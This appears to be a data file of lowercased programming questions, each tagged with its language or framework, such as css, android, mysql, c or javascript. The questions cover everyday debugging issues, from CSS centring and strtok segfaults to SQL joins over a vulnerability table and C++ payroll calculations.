issue with transferring of developer certificate and provisioning profile under xcode  i am trying transfer my developer certificate under the keychain to someone. i exported the item.   and also send him the provisioning profile which includes his device id.  he installed my certificate to his keychain and also the provisioning profile to his xcode. however  the provisioning profile under his xcode complains of there s no valid signing identity. well i already sent him the certificate.    what s wrong,iphone
expanding a div to be its max height with height 100%  i am trying to make a div expand to its max-height in px by using height 100%. it does not seem to want to work..    html   <pre><code>&lt;div class= container &gt;     &lt;h2&gt;dynamically populated using php&lt;/h2&gt;     &lt;p&gt;dynamically populated using php&lt;/p&gt; &lt;/div&gt; </code></pre>   css   <pre><code>.container {max-height:500px; height:100%;} </code></pre>,css
gridview enablesortingandpagingcallbacks  i put my gridview inside an updatepanel and my paging and sorting seem to be working well. if i set the property enablesortingandpagingcallbacks =  true   it works equally well.     what does this property do  for now my app is running on my laptop but will the settings of this property matter when i deploy     thanks.,asp.net
fill array with existing objects  i have one maybe rather silly questions. i have 3 paint objects - paint1  paint2  paint3. for readability those are declares separately. all 3 of the have few different attributes and one common - the color.    is there a way to fill them inside some sort of collection and set the color attribute with for loop     for an example:   <pre><code>paint paint1  paint2; paint3;  paint1=new paint(); paint1.settextsize(10dp);  paint2=new paint(); paint2.settextsize(20dp)  paint3=new paint(); paint3.settextsize(30dp)  paint[] arrayofpaints = {paint1 paint2 paint3};  for(int i = 0; i &lt; arrayofpaints.length; i++){         arrayofpaints[i].setcolorfilter(color);     } </code></pre>,java
what s the difference between these pointer dereferencements  this is the kind of questions where you are sure it is a duplicate but you need to ask. i don t know the terminology so i don t know what to search for  i m just asking for the right terminology based on the example i give.    can someone explain me the difference (well  even just the correct terminology and i can google the difference myself) between these 2:   <pre><code>uint32 v32; uint32* v32_ptr = &amp;v32;  uint16 v16_1 = *(uint16*)v32_ptr; // version 1 of dereferencement uint16 v16_2 = (uint16)*v32_ptr; // version 2 of dereferencement </code></pre>   the result is the same  but what about the use cases,c
javascript executing wrong function  i m writing some client-side javascript  where i want to render some tabs and a table. this is the relevant code:   <pre><code>(function() {      var table = function() {         this.render = function() {             console.log( rendering table );         };         return this;     };      var tabs = function() {         var table = table();         this.render = function() {             console.log( rendering tabs );             table.render();         };         return this;     };      (function() {         var tabs = tabs();         tabs.render();     })();  })(); </code></pre>   what i expect: the console should show <code>rendering tabs</code>  <code>rendering table</code>  and be done with it.    what actually happens: the console shows thousands of <code>rendering tabs</code> until jsfiddle crashes.    this shows that <code>table.render()</code> actually calls <code>tabs.render()</code> recursively. but why  i found this behaviour quite puzzling  can somebody explain where my mistake is,javascript
android sensor changed in service  i have a service which checks if the phone is ringing. in this service i am also checking if the phone is turned around or not. is it good to running this sensor check all the time while service is running or this is to much for battery and cpu resources    <pre><code>@override     public void onsensorchanged(sensorevent event) {         if (event.sensor.gettype() == sensor.type_orientation) {              boolean turnaroundtostop = some code is executed              if (turnaroundtostop) {                 float value = math.abs(event.values[1]);                 if (value &gt; orientationlim &amp;&amp; !stopped) {                     // down                     do some code                     stopped = true;                 } else {                     // up                     stopped = false;                 }             }         }     } </code></pre>,android
asp.net update panel  i have an update panel with gridview inside it. also i have a button inside the update panel that triggers it on click event. inside the gridview template field i have  a linkbutton which should resets the user password on click. when i click on the reset button it simply does nothing.   <pre><code>&lt;asp:updatepanel id= updatepanel1  runat= server &gt; &lt;contenttemplate&gt; &lt;asp:gridview id= gv  runat= server  autogeneratecolumns= false  height= 240px     width= 952px  visible =  false  enablemodelvalidation= true  enableviewstate= false &gt;      &lt;columns&gt; &lt;asp:boundfield datafield= personid  headertext= person id  /&gt; &lt;asp:boundfield datafield= firstname  headertext= account no  /&gt; &lt;asp:boundfield datafield= surname  headertext= skin centre  /&gt; &lt;asp:boundfield datafield= email  headertext= email  /&gt; &lt;asp:boundfield datafield= password  headertext= password  controlstyle-width= 200px &gt; &lt;controlstyle width= 200px &gt;&lt;/controlstyle&gt; &lt;/asp:boundfield&gt;&lt;asp:templatefield headertext=  &gt; &lt;itemtemplate&gt; &lt;asp:linkbutton id= lnkbtn  runat= server  oncommand= lnkbtn_command     commandargument= &lt;%# eval( cmdargument ) %&gt;  text= &lt;%# eval( cmdargument    &amp;nbsp;&amp;nbsp;&amp;nbsp;reset&amp;nbsp;&amp;nbsp;&amp;nbsp; ) %&gt;  /&gt; &lt;/itemtemplate&gt; &lt;/asp:templatefield&gt; &lt;/columns&gt; &lt;/asp:gridview&gt;  &lt;asp:updateprogress id= upcalendarupdateprogress  runat= server  displayafter= 0 &gt; &lt;progresstemplate&gt; &lt;div style= width:100%; height: 100%; border: 0px solid; position: absolute; top: 0; left: 0; text-align: center; &gt; &lt;div id= loadingmessage &gt; &lt;asp:label id= lbloadingmessage  runat= server  forecolor =  red  font-size= xx-large  text= loading the account details...  cssclass= loading-message-text &gt;               &lt;/asp:label&gt;&lt;br /&gt; &lt;img src= images/loadinganimation.gif  alt=   style= margin-top: 20px;  /&gt;&lt;/div&gt;       &lt;/div&gt; &lt;/progresstemplate&gt; &lt;/asp:updateprogress&gt; &lt;div style= margin-top:50px; &gt; &lt;asp:button id= rstbutton  runat= server  text= complete reset  onclick = rstbutton_click  visible = false /&gt; &lt;/div&gt; &lt;/contenttemplate&gt; &lt;triggers&gt; &lt;asp:asyncpostbacktrigger controlid= rstbutton  eventname= click  /&gt; &lt;/triggers&gt; &lt;/asp:updatepanel&gt; </code></pre>   any idea would be appreciated.,asp.net
element won t center  i created a carousel with the following html code   <pre><code>&lt;div id= projcarousel &gt;    &lt;div class= active &gt;        &lt;a href= http://www.#.com  target= _blank &gt;#&lt;/a&gt;        &lt;img id= projimg  src= img/#.png  class= active  /&gt;    &lt;/div&gt;    &lt;div&gt;        &lt;a href= http://www.#.com  target= _blank &gt;#&lt;/a&gt;        &lt;img id= projimg  src= img/#.png  /&gt;    &lt;/div&gt; &lt;/div&gt; </code></pre>   i noticed that the #projcarousel div a were not centering. i did some searching and found that the proper way to center a element would be with the css   <pre><code>#projcarousel div a {    margin-left:auto;    margin-right:auto; } </code></pre>   i ve tried multiple things and narrowed down that the problem is either with me using the position:relative or display:inline. i am not sure what the exact problem is with using the two together like this. does anyone have any advice on why its not working. this is the css i am currently using for the carousel.   <pre><code>#projcarousel {   margin: 0px;   padding: 0px;   position: absolute;   min-height: 100%;   min-width:100%; }  #projimg {  width:100%;  height: auto;  margin-top: -24px; }  #projcarousel div {  padding: 0px;  margin: 0px;  position:absolute;  min-width:100%;  min-height: 100% }  #projcarousel div a {   position: relative;   top: 100px;   left: 44.5%;   padding: 20px;   border: 10px solid rgba(255  255  255  .6);   font-size: 20px;       display: inline;   text-decoration: none;   text-align: center;  width: 200px; } </code></pre>   on a side note  i thought it might be easier to just remove the  tags altogether and just use    <pre><code>  background-image:url(img/#.png); </code></pre>   but that does not want to work either. sorry about all the text.,css
missing descendent in c# linq  i am new to c#. i have following code to read/parse xml. sometimes xml will not have  compu-internal-to-phys  tag. at that time  i am getting some exception related to object. how to check before read the descendent    <pre><code> var query1 = xmlfile.descendants( data-object-prop ).select(level3 =&gt; new             {                 dopid = level3.attribute( id ).value                  dopshortname = level3.element( short-name ) == null      : level3.element( short-name ).value                  doplongname = level3.element( long-name ) == null      : level3.element( long-name ).value                  //category = level3.element( compu-method ).element( category ) == null      : level3.element( compu-method ).element( category ).value                  compumethod =level3.descendants( compu-method ).select(x=&gt; new {              category=x.element( category ).value                          compuinttophys = level3.descendants( compu-internal-to-phys ).select(y=&gt; new{                             compuscales=y.descendants( compu-scales ).select(a=&gt; new{                                 compurationalcoef=a.descendants( compu-rational-coeffs ).select(b=&gt; new{                                     compunumerator=b.descendants( compu-numerator ).select(c=&gt; new item{                                         v1 = c.elements( v ).select(d=&gt; d.value).tolist()                                     })                                      compudenominator = a.descendants( compu-denominator ).select(e =&gt; new                                     {                                         demoni = e.element( v )                                     })                                  })                             })                         })                 })                  phytype=level3.descendants( physical-type ).select(pt=&gt;new {                     basedatatype=pt.attribute( base-data-type ).value                      precision=pt.element( precision ).value                 })                  interconst = level3.descendants( internal-constr ).select(ic =&gt; new                 {                     lowerlimit=ic.element( lower-limit ).value                      upperlimit=ic.element( upper-limit ).value                 })                  unitref = level3.element( unit-ref ).attribute( id-ref ).value             }); </code></pre>   xml:   <pre><code>&lt;data-object-prop id= dop_ui &gt;                             &lt;short-name&gt;dop_uint/short-name&gt;                             &lt;long-name&gt;dec&lt;/long-name&gt;                             &lt;compu-method&gt;                                 &lt;category&gt;iden&lt;/category&gt;                             &lt;/compu-method&gt;                             &lt;diag-coded-type  base-data-type= a_ui &gt;                                 &lt;bit-length&gt;7&lt;/bit-length&gt;                                 &lt;bit-mask&gt;7fa&lt;/bit-mask&gt;                             &lt;/diag-coded-type&gt;                             &lt;physical-type base-data-type= a_u2  /&gt;                             &lt;internal-constr&gt;                                 &lt;lower-limit&gt;0&lt;/lower-limit&gt;                                 &lt;upper-limit&gt;127&lt;/upper-limit&gt;                             &lt;/internal-constr&gt;                         &lt;/data-object-prop&gt; </code></pre>,c#
difficulty in understanding c# method description  i was looking at <a href= http://msdn.microsoft.com/en-us/library/system.windows.forms.control.begininvoke.aspx  rel= nofollow ><code>control.begininvoke</code></a> method and i didn t quite get what it means when it says:   <blockquote>    executes a delegate asynchronously on the thread that the control s   underlying handle was created on.  </blockquote>   what is <code>control s underlying handle</code>  what does it do,c#
making a div sit centrally using margin: 0 auto   i m trying to have 2 div s on my page at position centrally at <a href= http://s361608839.websitehome.co.uk/pt-build/templatebuild/  rel= nofollow >http://s361608839.websitehome.co.uk/pt-build/templatebuild/</a> with #pricing and #bmicalculator in particular.    in the css for #pricing it is set as follows:   <pre><code>#pricing {     width: 850px;     margin: 0 auto;     border-bottom: 1px solid #ededed;     font-family:  maven pro   sans-serif;     font-size: 13px;     color: #4a4a4a;     padding: 120px 350px 30px 0;     height: 300px; } </code></pre>   as you can see there is margin: 0 auto; on one of the lines and i was expecting this to position the div in the middle of the screen  and not to the left as it is currently showing.    any help appreciated... thanks!,css
android: starting web browser from code  i am trying to open a web browser with a supplied url  however  after the last line of the following code  i get a null pointer exception.  according to the call stack   <code>actvity.startactvitity(intent)</code> is where the exception occurs.  this code is in a custom controller  class for a sub view of the main activity.  any ideas on how to properly start the web browser via code  ideally from outside the main activity since i would to reuse as much as possible.  or at least point me in the right direction.    <pre><code>private void showwebsite() {             string _url = (string) this.urlview.gettext();             activity webactivity = new activity();             intent webintent = new intent( intent.action_view );             webintent.setdata( uri.parse(_url) );             webactivity.startactivity( webintent );     } </code></pre>,android
$on event callback parameters  in my .run function i have something like:   <pre><code>$rootscope.$on( $routechangesuccess   function(event  args){...}) </code></pre>   (angular ver 1.2.10)    [edit] where in the documentation can i find out what is passed for args for the event $routechangesuccess,angularjs
rails redirect instead of render with object   i have a problem with a tutorial i m following. there is a signup portion of code that  when the validations don t pass  rails renders the action again. that all works well but obviously the url doesn t look the same:    <a href= http://localhost:3000/signup  rel= nofollow >http://localhost:3000/signup</a> - before hitting the button    <a href= http://localhost:3000/users  rel= nofollow >http://localhost:3000/users</a>  - after hitting the button with invalid details    this is the code:   <pre><code>@user = user.new(params[:user]) if @user.save flash[:success] =  welcome to the sample application!  redirect_to @user else     render  new  end </code></pre>   is there anyway to pass the @user object with redirect_to so that it displays the correct url <em>and</em> populates the form (using form_for) with the details entered by @user,ruby-on-rails
notice use of attributes for reciprocal links  i would like to make a link exchange sites. i want to know how my friends treat me the link on its website. until now  i have found a php script to detect when i removed the link from its website. but it was not enough for me.    i expected: how can i know if my friend cheating  for example by changing the <code>rel= dofollow </code> into <code>rel= nofollow </code> in addition  i want to know the title on its website a link that points to a url <code>domain.com</code>    i would greatly appreciate any input from you.    <strong>while my script code:</strong>   <pre><code>&lt; php $mydomain =  http://domain.com ; // set this to your domain $list = file_get_contents( list_uri.txt ); $urls = explode ( \n   $list); echo  &lt;b&gt;checking $mydomain&lt;/b&gt;&lt;p&gt;&lt;font size=-1&gt; ; foreach ($urls as $url) { if (strlen ($url)) { echo $url .  &lt;b&gt;&lt;font color= ; if (strpos (file_get_contents($url)  $mydomain) != false) { echo  green&gt; link installed! ; } else { echo  red&gt; link not installed! ; } echo  &lt;/font&gt;&lt;/b&gt;&lt;br&gt; ; } } echo  &lt;/font&gt; ;  &gt; </code></pre>,php
how to get global date and time in android   in my application some functionality get closed after 9:00 pm. its working fine if date setting of device is auto updated. but suppose right now its 10:00 pm and user changed the time 10:00 pm to 08:00 pm then my code is working. i want to avoid that thing.,android
objective-c: what is %-2i in nslog   i am reading through a book on objective-c and came by the following without any explanation:   <pre><code>nslog(@ %-2i %i   n1  n2); </code></pre>   what does %-2i mean it just prints out the number the same way %i does     thank you.,objective-c
how can you make <html> show inside of a   tag   i am currently creating a webpage to teach others html.  in my html document  i want to make a paragraph like   start with html  and end with /html . the html and /html should have &lt;> tags around them  but i don t know how to do this! (this is my question) the document just leaves html and /html (with &lt;> around them) out.  how do i make sure that the document leaves it in      thank you.,html
.has() in jquery  i m trying to get my head around jquery .has(). i tried to use it to find a li item that has a class= a  and set its border.   <pre><code>&lt;script type=text/javascript&gt; $( document ).ready( function(){     $( li ).has( .a ).css( border    3px solid red ); }); </code></pre>      <pre><code>&lt;ul id= list1 &gt;     &lt;li class= a &gt;item 1&lt;/li&gt;     &lt;li class= a &gt;item 2&lt;/li&gt;     &lt;li class= b &gt;item 3&lt;/li&gt;     &lt;li class= b &gt;item 4&lt;/li&gt; &lt;/ul&gt; </code></pre>,jquery
nsbackgroundcolorattribute not centered when using linespacing [ios]  i am using a <code>nsmutableparagraphstyle</code> for my <code>nsmutableattributedstring</code> to increase the line spacing of my text:   <pre><code>var linespacingstyle = nsmutableparagraphstyle() linespacingstyle!.linespacing = 5  let regularattribute = [                     nsfontattributename: uifont(name:  gothampro   size: 11)!                      nsforegroundcolorattributename: constants.defaultblackcolor                      nsparagraphstyleattributename : linespacingstyle!] as [string : any]  var attributedstring = nsmutableattributedstring(string: stringreturned  attributes: regularattribute) cell.textview.attributedtext = attributedstring </code></pre>   works great  however  when i add a nsbackgroundcolorattributename   <pre><code>attributedstring.addattributes([nsbackgroundcolorattributename : constants.defaulttransparentpurplecolor]  range: highlightrange) cell.textview.attributedtext = attributedstring </code></pre>   it doesn t center the background color.  the background color is extended because of the line spacing at the bottom of each line (see the highlight on @tim cook)  and only occurs when line spacing is increased:    <a href= https://i.stack.imgur.com/nrnew.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/nrnew.png  alt= enter image description here ></a><br><br> the weirdest thing is that this only happens if the line is more than one line.  how do i prevent this   i would like for my highlight to be centered and have line spacing.  thanks!,ios
what is difference between < length() and <=length()-1  <pre><code> string s=   ; //java developer   for(int i=0;i&lt;=arg0.length()-1;i++)//it s subtracts  </code></pre>   i.e length()=10-1=9.   otherwise it s index starts from 0    hope u guys,java
.net - better way of naming control - hungarian notation or full notation such as lbl or label  in the old days  we name controls as lblfirstname  txtfirstname.     i m seeing more and more full names like firstnamelabel  firstnametextbox. obviously  it doesn t make any different.    my question is whether microsoft officially recommended using full name like firstnamelabel.    if this question has been asked  please forgive me.,.net
force webpage to invalidate properties   i have a page with an elements that can get removed from it  sometimes the rest of the elements readjust after its removed which is good. sometimes though they do not  is there a way to force them to readjust or invalidate     thanks!,javascript
how can display only the non minimum queries and exclude the minimum query  i have a list of skill ratings   <pre><code>john - 6.2 lucy - 4.3 nikki - 5.7 selena - 7.1 </code></pre>   i just want to exclude lucy as hers is the least rating and order the rest by descending order wrt rating  and i dont know the total number of people in the list  so the limit function is not gonna work. any help  <em>noob alert</em>,mysql
style input time css  i am trying to create a box like below picture.<br>this box will use for time and other two-digit numbers.<br> <br> <img src= https://i.stack.imgur.com/jq5bf.png  alt= enter image description here >    i putted my code <a href= http://jsfiddle.net/l4l35/1/  rel= nofollow noreferrer >here</a><br> i have some problems and questions:   <ul> <li>boxes in picture seems have two-color borders. outside is a color (color= #706f6f ) and inside like shadow . with what technique i can create this inside border  is this css3 effect  </li> <li>i think my code style classification is not good.would you please help me to make it better </li> <li>i don t know where should i put colons(:) between days hours mins and secs  </li> <li>last question is where is better to putt texts under boxes   (days   hours   mins   secs) is it better to put them in separate div container  </li> </ul>,css
replace img src for td img if has a class specific word  how can i use jquery to find the td that has a certain text in the a class and have the img src replaced    here is the html   <pre><code>&lt;td&gt;  &lt;img src= replace img source with new image  class= headshot &gt;&lt;/img&gt;  &lt;a href= #  class= position_def &gt;rams  st. louis stl def&lt;/a&gt; &lt;/td&gt;  &lt;td&gt;  &lt;img src= replace img source with new image  class= headshot &gt;  &lt;a href= #  class= position_def &gt;bengals  cincinnati cin def&lt;/a&gt; &lt;/td&gt; </code></pre>   i would like to locate td a   find text in the a class for  rams  and replace that will a new img    and also find  bengals  and replace that img src too with yet another image different then the one for  rams     i tried this but it replaces the entire td with a image   <pre><code>(function($) {     var name =  rams ;     $( #divid ).find( td ).filter(function() { return $(this).text() == name; }).html(  &lt;img src= my new img   class= detailsimg /&gt;  ); })(jquery); </code></pre>,jquery
segment fault when using strtok  following are my code :   <pre><code>#include  stdio.h  #include  time.h  #include  string.h  #include  cjson.h  #include  stdlib.h  int checkuserrole(char *cmd); int main(){      char *cmd =  zwr ^a(\ a\ ) ; //string: zwr ^a( a )     int v = checkuserrole(cmd);     printf( %d  v);     return 0; } int checkuserrole(char *cmd) {     const char *u ;     u = getenv( user );     char *token;     char *cmd_w_g;     char *limiter ;     if(strstr(cmd  ( ) != null){         limiter =  ( ;         token = strtok(cmd limiter);         cmd_w_g = token;     }     char *cmd_qualifier;     limiter =   ^ ;     cmd_qualifier = strtok(cmd_w_g limiter);     char *cmd_q;     cmd_q = cmd_qualifier;     char *gbl ;     gbl = strtok(null limiter);       char *filename =  roles.cfg ;     char buff[512];     file *file = fopen(filename   rt );     char filecontent[1000000];      while(fgets(buff  sizeof buff  file) != null){          sprintf(filecontent  %s%s  filecontent buff);     }        cjson *root = cjson_parse(filecontent);     cjson *gbl_json = cjson_getobjectitem(root gbl);     cjson *user_json =  cjson_getobjectitem(gbl_json u);     cjson *cmd_json =  cjson_getobjectitem(user_json cmd_q);     char *role = cmd_json-&gt;valuestring;     if(strstr(role  true ) != null){         return 1;     } else {         return 0;     } } </code></pre>   and json file  roles.cfg  using in code:   <pre><code>{    a : {      root : {        set :  true          kill :  true          zwrite :  true      }       abc : {        set :  true          kill :  false          zwrite :  true      }   }     b : {      root : {        set :  false          kill :  false          zwrite :  true      }       abc : {        set :  true          kill :  true          zwrite :  true      }   } } </code></pre>   i used <code>strok</code> to split some text   but i get <code>segmentation fault.</code> error when execute     following are debug output:   <pre><code>reading symbols from ./test2...done. (gdb) b 1 breakpoint 1 at 0x400b55: file test2.c  line 1. (gdb) r starting program: /home/insight/test2   breakpoint 1  main () at test2.c:9 9       char *cmd =  zwr ^a(\ a\ ) ; (gdb) n 10      int v = checkuserrole(cmd); (gdb) s checkuserrole (cmd=0x4046c4  zwr ^a(\ a\ ) ) at test2.c:15 15  { (gdb) n 17      u = getenv( user ); (gdb) n 21      if(strstr(cmd  ( ) != null){ (gdb) n 22          limiter =  ( ; (gdb) n 23          token = strtok(cmd limiter); (gdb) n  program received signal sigsegv  segmentation fault. strtok () at ../sysdeps/x86_64/strtok.s:186 186 ../sysdeps/x86_64/strtok.s: no such file or directory. (gdb)  </code></pre>   i have no idea why it get error at that line  i check all paramter to <code>strtok</code>   seem it have no problem  //update : have no warning when compiling:   <pre><code>insight@insight-ubuntu64:~$ gcc -g -o test2 test2.c cjson.c -lm insight@insight-ubuntu64:~$  </code></pre>,c
read pdf files placed at one server from another server  i have two node on production environment. i have placed pdf files at one server and want to read it from both server. when am calling  file  method directly pdf get displayed in browser but when i call  pdffiles  nothing is displayed in browser.   <pre><code>public resolution file(){     try {         final httpservletrequest request = getcontext().getrequest();         string filename = (string) request.getparameter( file );          file file = new file( pdf file directory ex /root/pdffiles/  + filename);          getcontext().getresponse().setcontenttype( application/pdf );         getcontext().getresponse().addheader( content-disposition                    inline; filename=  + filename);         fileinputstream streamin = new fileinputstream(file);          bufferedinputstream buf = new bufferedinputstream(streamin);         int readbytes = 0;         servletoutputstream stream = getcontext().getresponse().getoutputstream();         // read from the file; write to the servletoutputstream         while ((readbytes = buf.read()) != -1)             stream.write(readbytes);      } catch (exception exc) {         logger.logerror( reports   exc);     }     return null; }  public resolution pdffile() {     final httpservletrequest request = getcontext().getrequest();     final httpclient client = new httpclient();     try {         string filename = (string) request.getparameter( file );         final string url =  http://  + servernamenode1 //having pdf files                 +  /test/sm.action reports&amp;file=  + filename;          final postmethod method = new postmethod(url);          try {             client.executemethod(method);         } finally {             method.releaseconnection();         }      } catch (final exception e) {         logger.logerror( pdfreports    error occured2   + e.getmessage());     }     return null; } </code></pre>,java
fetch data in the mentioned scenario using a single mysql query  there are 3 tables with column titles:   <pre><code>course_test_status ------------------ testid testname testdesc  student_login -------------- stuid stuname    student_test_status ------------------- testid stuid </code></pre>   i want to fetch stuname and testname using <strong>single query</strong> if i already have stuid and testid available.  second thing i would like to know is that which way would be faster  using select query two times (once with stuid and another with testid) or using a single complex (with joins or whatever you are suggesting) query,mysql
how can i make array.contains case-insensitive on a string array   i am using the <code>array.contains</code> method on a string array. how can i make that case-insensitive,.net
merge objects from two arrays in one  i have one question about merge objects in array. the biggest problem is how to save this array structure after merger these arrays  because if i use .<code>push()</code> iterate after these array i receive one big array. look on my data:   <pre><code>[   [     { name:  1  }     { name:  2  }     { name:  3  }   ]   [    { name:  4  }     { name:  5  }     { name:  6  }    ]  ] </code></pre>   and   <pre><code>[   [     { correct: false }     { correct: true }     { correct: false }   ]   [     { correct: true }     { correct: false }     { correct: false }   ]  ] </code></pre>   and my point is how merge these two array  to the one array in form like    <pre><code>[   [     { name:  1   correct: false }     { name:  2   correct: true }     { name:  3   correct: false }   ]   [     { name:  4   correct: true }     { name:  5   correct: false }     { name:  6   correct: false }   ]  ] </code></pre>   i tried following loop but i receive one big array  but i need two array   <pre><code>for(i in namearray) {    for(j in namearray[i]){        var mergeobj = object.assign(namearray correctarray[j]) //i get undefned        correctarray.push(namearray[i][j])    } } </code></pre>,javascript
get anchor tag url with javascript  i m trying to store the url of a anchor tag in a variable but i keep getting an error.    <pre><code>var buttonurl = document.getelementbyid( test ).href; </code></pre>   <code>uncaught typeerror: cannot read property  href  of null</code>,javascript
mysql: select specific data from multiple joined tables  i m having trouble wrapping my brain around this select statement.  the data is coming from 3 tables (i ve cut out all unnecessary data for easier readability):   <pre><code>mysql&gt; describe vulnerability; +---------------+------------------+------+-----+---------+----------------+ | field         | type             | null | key | default | extra          | +---------------+------------------+------+-----+---------+----------------+ | vuln_id       | int(10) unsigned | no   | pri | null    | auto_increment | | severity      | int(10) unsigned | no   |     | null    |                | | host_id       | int(10) unsigned | no   | mul | null    |                | +---------------+------------------+------+-----+---------+----------------+  mysql&gt; describe cve; +---------+------------------+------+-----+---------+----------------+ | field   | type             | null | key | default | extra          | +---------+------------------+------+-----+---------+----------------+ | cve_id  | int(10) unsigned | no   | pri | null    | auto_increment | | cve     | varchar(15)      | no   |     | null    |                | | vuln_id | int(10) unsigned | no   | mul | null    |                | | year    | int(4) unsigned  | yes  |     | null    |                | +---------+------------------+------+-----+---------+----------------+  mysql&gt; describe host; +--------------+------------------+------+-----+---------+----------------+ | field        | type             | null | key | default | extra          | +--------------+------------------+------+-----+---------+----------------+ | host_id      | int(10) unsigned | no   | pri | null    | auto_increment | | ip_addr      | int(10) unsigned | no   |     | null    |                | +--------------+------------------+------+-----+---------+----------------+ </code></pre>   i want to output the number of hosts that have vulnerabilities that are less than the year 2009 with severity = 3.  the year is contained in cve  which is tied to vulnerability with the vuln_id fk.  the vulnerability has the severity and is tied to host with the host_id fk.  here is what i have so far:   <pre><code>mysql&gt; select count(distinct ip_addr) from host h    inner join vulnerability v on h.host_id = v.host_id    inner join cve c on c.vuln_id = v.vuln_id    where v.severity = 3 and c.year &lt; 2009; +-------------------------+ | count(distinct ip_addr) | +-------------------------+ |                    5071 | +-------------------------+ </code></pre>   this tells me the total number of hosts with vulnerabilities older than 2009  which is a good start.  however  i want to take it a step further and only include those hosts that have 50 or more vulnerabilities.  i m not sure how to do this.  each host entry in the host table has multiple corresponding vulnerability entries.  i assume i need to add something in my where clause  but i m stuck.    thanks in advance.  please let me know if more information is needed.,mysql
c# - how to move bytes from stringbuilder to a byte array  a dll for usb communications reads data and puts it into a stringbuilder instance  brx. how can the bytes of data in brx be moved to a byte buffer to ultimately be written to a file,c#
open other activity from view  how to open activity from view  i am develop a game if game is over i need to move user to main menu activity.,android
in python  how do i search a flat file for the closest match to a particular numeric value   have file data of format    <pre><code>3.343445 1   3.54564 1   4.345535 1   2.453454 1 </code></pre>   and so on upto 1000 lines and i have number given such as <code>a=2.44443</code> for the given file i need to find the row number of the numbers in file which is most close to the given number  a  how can i do this i am presently doing by loading whole file into list and comparing each element and finding the closest one any other better faster method     my code:i need to ru this for different file each time around 20000 times so want a fast method   <pre><code>p=os.path.join( c:/begpython/wavnk/  str(str(str(save_a[1]).replace( phone   text ))+ .pm ))         x=open(p    r )         for i in range(6):             x.readline()          j=0         o=[]         for line in x:              oj=str(str(line).rstrip( \n )).split(   )             o=o+[oj]              j=j+1           temp=long(1232332)         end_time=save_a[4]          for i in range((j-1)):             diff=float(o[i][0])-float(end_time)             if diff&lt;0:                 diff=diff*(-1)             if temp&gt;diff:                 temp=diff                 pm_row=i </code></pre>,python
why does the msdn site compare using delegates and interfaces   the msdn site compares using delegates instead of an interface  but what makes these two language-level constructs so similar that one could be used over another  they seem to do completely different things     thanks,c#
xampp tomcat/error starting tomcat  can someone help me solve this:    <blockquote>     tomcat started/stopped with errors  return code: 1 make sure you have java jdk or jre installed and the required ports are free.  check the  /xampp/tomcat/logs  folder for more information.    </blockquote>   i have installed java jdk. thanks,java
getting bonus pay to calculate  i ve got two ifs  the first if which is the overtime if works  but i cannot get the 2nd if to work  which is the bonus pay if days work is greater than 5. it s not ready the if code i typed for bonuspay     <pre><code>#include&lt;iostream&gt; #include&lt;iomanip&gt; using namespace std; int main() {      float ftax  stax  sdi  ss  hw  hp  dw(0)  pay  netpay  gp  overtimepay = 0              bonuspay(0);     int daysworked(0);      cout &lt;&lt;  please enter the hoursworked:  ;     cin &gt;&gt; hw;     cout &lt;&lt;  ---------------------  &lt;&lt; endl;     cout &lt;&lt;  please enter the hourlypay:  ;     cin &gt;&gt; hp;     cout &lt;&lt;  ---------------------  &lt;&lt; endl;     cout &lt;&lt;  please enter the daysworked in the week:  ;     cin &gt;&gt; dw;      if (hw &gt; 40) {         overtimepay = (hw - 40) * hp * .5;         if (daysworked &gt; 5) {             bonuspay = (hw - 40) * hp * .25;          }     }      gp = (hw * hp) + (overtimepay) + (bonuspay);     ftax = gp * .10;     stax = gp * .08;     sdi = gp * .01;     ss = gp * .06;     netpay = gp - (ftax + stax + sdi + ss);      cout &lt;&lt;   grosspay =\t\t\t\t\t  &lt;&lt; gp &lt;&lt; endl;     cout &lt;&lt;   federal taxes =\t\t\t\t  &lt;&lt; ftax &lt;&lt; endl;     cout &lt;&lt;   state taxes =\t\t\t\t\t  &lt;&lt; stax &lt;&lt; endl;     cout &lt;&lt;   sdi =\t\t\t\t\t\t  &lt;&lt; sdi &lt;&lt; endl;     cout &lt;&lt;   social securities =\t\t\t\t  &lt;&lt; ss &lt;&lt; endl;     cout &lt;&lt;   netpay =\t\t\t\t\t  &lt;&lt; netpay &lt;&lt; endl;     cout &lt;&lt;  ---------------------  &lt;&lt; endl;      cout &lt;&lt;  \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t  &lt;&lt; endl;      cout &lt;&lt;   grosspay =                      &lt;&lt; gp &lt;&lt; endl;     cout &lt;&lt;   federal taxes =                 &lt;&lt; ftax &lt;&lt; endl;     cout &lt;&lt;   state taxes =                   &lt;&lt; stax &lt;&lt; endl;     cout &lt;&lt;   sdi =                           &lt;&lt; sdi &lt;&lt; endl;     cout &lt;&lt;   social securities =             &lt;&lt; ss &lt;&lt; endl;     cout &lt;&lt;   netpay =                        &lt;&lt; netpay &lt;&lt; endl;     cout &lt;&lt;  ---------------------  &lt;&lt; endl;      cout &lt;&lt;  \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t  &lt;&lt; endl;      cout &lt;&lt; left;     cout &lt;&lt; setw(30) &lt;&lt;   grosspay =  &lt;&lt; gp &lt;&lt; endl;     cout &lt;&lt; setw(30) &lt;&lt;   federal taxes =  &lt;&lt; ftax &lt;&lt; endl;     cout &lt;&lt; setw(30) &lt;&lt;   state taxes =  &lt;&lt; stax &lt;&lt; endl;     cout &lt;&lt; setw(30) &lt;&lt;   sdi =  &lt;&lt; sdi &lt;&lt; endl;     cout &lt;&lt; setw(30) &lt;&lt;   social securities =  &lt;&lt; ss &lt;&lt; endl;     cout &lt;&lt; setw(30) &lt;&lt;   netpay =  &lt;&lt; netpay &lt;&lt; endl;     cout &lt;&lt;  ---------------------  &lt;&lt; endl;      system( pause );  } </code></pre>,c++
